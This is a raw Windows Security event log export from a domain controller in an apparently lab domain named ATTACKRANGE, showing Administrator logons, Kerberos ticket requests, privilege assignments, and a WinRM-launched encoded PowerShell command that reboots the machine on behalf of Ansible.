Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{B812AC57-6FC2-4607-7B57-BEA483B003FB}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253542
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{B812AC57-6FC2-4607-7B57-BEA483B003FB}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253541
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253540
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B8218

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb58
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1050
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAHoAQQBHAGcAQQBkAFEAQgAwAEEARwBRAEEAYgB3AEIAMwBBAEcANABBAEkAQQBBAHYAQQBIAEkAQQBJAEEAQQB2AEEASABRAEEASQBBAEEAeQBBAEMAQQBBAEwAdwBCAGoAQQBDAEEAQQBJAGcAQgBTAEEARwBVAEEAWQBnAEIAdgBBAEcAOABBAGQAQQBBAGcAQQBHAGsAQQBiAGcAQgBwAEEASABRAEEAYQBRAEIAaABBAEgAUQBBAFoAUQBCAGsAQQBDAEEAQQBZAGcAQgA1AEEAQwBBAEEAUQBRAEIAdQBBAEgATQBBAGEAUQBCAGkAQQBHAHcAQQBaAFEAQQBpAEEAQQBvAEEAUwBRAEIAbQBBAEMAQQBBAEsAQQBBAHQAQQBHADQAQQBiAHcAQgAwAEEAQwBBAEEASgBBAEEALwBBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBTAFEAQgBtAEEAQwBBAEEASwBBAEIASABBAEcAVQBBAGQAQQBBAHQAQQBGAFkAQQBZAFEAQgB5AEEARwBrAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBBAGcAQQBFAHcAQQBRAFEAQgBUAEEARgBRAEEAUgBRAEIAWQBBAEUAawBBAFYAQQBCAEQAQQBFADgAQQBSAEEAQgBGAEEAQwBBAEEATABRAEIARgBBAEgASQBBAGMAZwBCAHYAQQBIAEkAQQBRAFEAQgBqAEEASABRAEEAYQBRAEIAdgBBAEcANABBAEkAQQBCAFQAQQBHAGsAQQBiAEEAQgBsAEEARwA0AEEAZABBAEIAcwBBAEgAawBBAFEAdwBCAHYAQQBHADQAQQBkAEEAQgBwAEEARwA0AEEAZABRAEIAbABBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBaAFEAQgA0AEEARwBrAEEAZABBAEEAZwBBAEMAUQBBAFQAQQBCAEIAQQBGAE0AQQBWAEEAQgBGAEEARgBnAEEAUwBRAEIAVQBBAEUATQBBAFQAdwBCAEUAQQBFAFUAQQBJAEEAQgA5AEEAQwBBAEEAUgBRAEIAcwBBAEgATQBBAFoAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAE0AUQBBAGcAQQBIADAAQQBJAEEAQgA5AEEAQQA9AD0A

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253539
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B8218

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1050
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x12a0
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAHoAQQBHAGcAQQBkAFEAQgAwAEEARwBRAEEAYgB3AEIAMwBBAEcANABBAEkAQQBBAHYAQQBIAEkAQQBJAEEAQQB2AEEASABRAEEASQBBAEEAeQBBAEMAQQBBAEwAdwBCAGoAQQBDAEEAQQBJAGcAQgBTAEEARwBVAEEAWQBnAEIAdgBBAEcAOABBAGQAQQBBAGcAQQBHAGsAQQBiAGcAQgBwAEEASABRAEEAYQBRAEIAaABBAEgAUQBBAFoAUQBCAGsAQQBDAEEAQQBZAGcAQgA1AEEAQwBBAEEAUQBRAEIAdQBBAEgATQBBAGEAUQBCAGkAQQBHAHcAQQBaAFEAQQBpAEEAQQBvAEEAUwBRAEIAbQBBAEMAQQBBAEsAQQBBAHQAQQBHADQAQQBiAHcAQgAwAEEAQwBBAEEASgBBAEEALwBBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBTAFEAQgBtAEEAQwBBAEEASwBBAEIASABBAEcAVQBBAGQAQQBBAHQAQQBGAFkAQQBZAFEAQgB5AEEARwBrAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBBAGcAQQBFAHcAQQBRAFEAQgBUAEEARgBRAEEAUgBRAEIAWQBBAEUAawBBAFYAQQBCAEQAQQBFADgAQQBSAEEAQgBGAEEAQwBBAEEATABRAEIARgBBAEgASQBBAGMAZwBCAHYAQQBIAEkAQQBRAFEAQgBqAEEASABRAEEAYQBRAEIAdgBBAEcANABBAEkAQQBCAFQAQQBHAGsAQQBiAEEAQgBsAEEARwA0AEEAZABBAEIAcwBBAEgAawBBAFEAdwBCAHYAQQBHADQAQQBkAEEAQgBwAEEARwA0AEEAZABRAEIAbABBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBaAFEAQgA0AEEARwBrAEEAZABBAEEAZwBBAEMAUQBBAFQAQQBCAEIAQQBGAE0AQQBWAEEAQgBGAEEARgBnAEEAUwBRAEIAVQBBAEUATQBBAFQAdwBCAEUAQQBFAFUAQQBJAEEAQgA5AEEAQwBBAEEAUgBRAEIAcwBBAEgATQBBAFoAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAE0AUQBBAGcAQQBIADAAQQBJAEEAQgA5AEEAQQA9AD0A

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253538
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BA70E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253537
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BA70E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B812AC57-6FC2-4607-7B57-BEA483B003FB}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253536
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{B812AC57-6FC2-4607-7B57-BEA483B003FB}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253535
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{B812AC57-6FC2-4607-7B57-BEA483B003FB}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253534
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253533
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BA6D4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253532
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BA6D4

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253531
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BA6D4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B812AC57-6FC2-4607-7B57-BEA483B003FB}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253530
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{B812AC57-6FC2-4607-7B57-BEA483B003FB}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253529
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{B812AC57-6FC2-4607-7B57-BEA483B003FB}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253528
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253527
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B8C9D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253526
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16387C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253525
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B8C9D

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253524
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B8C9D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B812AC57-6FC2-4607-7B57-BEA483B003FB}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253523
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{B812AC57-6FC2-4607-7B57-BEA483B003FB}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253522
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{B812AC57-6FC2-4607-7B57-BEA483B003FB}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253521
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
